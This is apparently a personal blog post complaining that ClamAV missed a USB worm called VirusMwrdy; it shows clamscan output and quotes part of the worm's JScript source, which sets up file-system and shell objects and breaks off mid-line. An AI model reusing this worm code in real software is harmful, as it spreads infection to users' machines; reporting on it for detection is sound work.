More Cowbell!

ClamAV not detect VirusMwrdy

This morning , my brother tell me that, his laptop is infected by a virus called VirusMwrdy. I gave him HijackThis and KillBox program to delete those autorun.inf file and VirusMwrdy.js. I plug my thumbdrive to my brother laptop and of course it also got infected.

To my suprise, I plug my thumbdrive to my laptop and run freshclam, to update my clamav and run clamscan, but nothing is detected

sicksand@sicksand-laptop:/media/KINGSTON$ clamscan

/media/KINGSTON/VirusMwrdy.js: OK
/media/KINGSTON/AutoRun.inf: OK
/media/KINGSTON/SpaQ - The Novel.html: OK

—————- SCAN SUMMARY —————-
Known viruses: 283588
Engine version: 0.92.1
Scanned directories: 1
Scanned files: 44
Infected files: 0
Data scanned: 1191.16 MB
Time: 579.132 sec (9 m 39 s)

here are some of the source of those file
VirusMwrdy.js

MwrdyText = MwrdyText + “alert(‘HEY YOU..’);”
MwrdyText = MwrdyText + “alert(‘Ohoo.. SpaQ la konon..’);”
MwrdyText = MwrdyText + “alert(‘Wanna know something?’);”
MwrdyText = MwrdyText + “alert(‘Virus Mawar is back and its attacking ur system!’);”
MwrdyText = MwrdyText + “alert(‘Better format ur computer baby.. Adios!!’);”
MwrdyText = MwrdyText + “alert(‘Oh yeah… mail me.. carboflux@yahoo.com’);”
MwrdyText = MwrdyText + “”
MwrdyText = MwrdyText + “Oh my… aku benci sgguh tgk cter SpaQ yg pnuh kegedikan anak2 muda tu.. hmm.. insafla.. hey.. aku pun insaf jgk…sb 2 wat virus ni “

var fs = new ActiveXObject(“Scripting.FileSystemObject”);
var ThisPath = fs.GetFile(WScript.ScriptFullname);
var check = ThisPath.Drive.DriveType;
var WinPath = new String(fs.GetSpecialFolder(0)); // Windows Folder
var SysPath = new String(fs.GetSpecialFolder(1)); // System32 Folder
var aShell = new ActiveXObject(“WScript.Shell”);

// Open the explorer if double clicked
var aArgs = WScript.Arguments;
for (var i = 0; i utorun.inf